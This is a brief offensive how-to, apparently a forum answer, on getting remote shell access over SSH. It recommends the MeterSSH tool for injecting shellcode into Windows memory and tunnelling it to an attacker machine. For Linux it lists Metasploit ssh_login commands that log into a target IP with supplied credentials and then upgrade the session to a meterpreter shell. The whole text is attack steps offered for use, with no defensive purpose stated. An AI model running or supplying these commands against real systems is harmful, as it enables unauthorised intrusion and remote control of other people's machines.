Windows:
You can try using MeterSSH.
MeterSSH is an easy way to inject native shellcode into memory and pipe anything over SSH to the attacker machine through an SSH tunnel and all self contained into one single Python file.
Linux:
You can use the auxiliary module of metasploit called ssh_login:
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.0.109
msf auxiliary(ssh_login) > set username foo
msf auxiliary(ssh_login) > set password bar
msf auxiliary(ssh_login) > exploit
Now convert command shell into meterpreter shell through following command
session –u 1